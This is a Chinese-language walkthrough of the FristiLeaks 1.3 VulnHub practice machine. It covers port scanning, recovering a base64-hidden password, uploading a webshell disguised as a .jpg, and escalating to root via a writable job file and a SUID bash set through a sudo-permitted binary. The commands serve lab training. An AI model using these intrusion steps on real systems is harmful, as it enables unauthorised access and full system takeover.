OSCP难度靶机之FRISTILEAKS: 1.3

虚拟机信息

虚拟机下载地址：

https://www.vulnhub.com/entry/fristileaks-13,133/

虚拟机简介：需要手动将 VM 的 MAC 地址编辑为：08:00:27:A5:A6:76

目标：1个flag

级别：初级

1、主机探测

1、在VMware中指定主机MAC地址

2、通过netdiscover检测主机IP地址

netdiscover -r 192.168.207.0/24

2、服务探测

1、通过nmap进行端口扫描

nmap -A -sS -sV -v -p- 192.168.207.145

查看开放80端口

3、渗透测试

3.1 HTTP渗透

nikto -host http://192.168.207.135/

发现在robots文件中存在三个目录

访问目录后均为一张图片

根据网站首页提示访问fristi发现存在登录页面

发现账号信息：eezeepz

发现一串base64字符，并且隐藏在图片中

保存文件，并解码为png图片

base64 -d decode > 2.png

打开图片查看内容，获取到值为：keKkeKKeKKeKkEkkEk

通过账号：eezeepz，密码：keKkeKKeKKeKkEkkEk成功登录

修改添加冰蝎马文件后缀为.jpg，并进行上传

提示上传成功

连接地址为：http://192.168.207.135/fristi/uploads/shell.php.jpg

3.2 主机渗透

查看notes.txt文件中提示，文件中提示可以通过执行/home/admin中的命令，输出到/tmp/runthis文件中

echo "/home/admin/chmod –R 777 /home/admin" > /tmp/runthis

发现有三个比较可疑的文件

分别查看文件内容，其中cryptpass.py主要通过加密字符串进行rot13加密

加密脚本如下

#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys

def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')

cryptoResult=encodeString(sys.argv[1])
print cryptoResult

解密脚本如下

import base64,codecs,sys

def decodeString(str):
    decoded = codecs.decode(str[::-1], 'rot13')
    return base64.b64decode(decoded)

cryptoResult=decodeString(sys.argv[1])
print(cryptoResult)

解密后密码为：LetThereBeFristi!

3.3 权限提升

文件所有者为fristigod，可以尝试获取到密码切换为fristigod

su - fristigod
id

cat .bash_history

查看可以指定用户执行命令操作

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id

查看执行命令可以有root的UID权限

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom chmod +s /bin/bash
bash -p

添加bash的suid权限，并通过suid提权

cd /root
cat fristileaks_secrets.txt

原文始发于微信公众号（安全孺子牛）：OSCP难度靶机之FRISTILEAKS: 1.3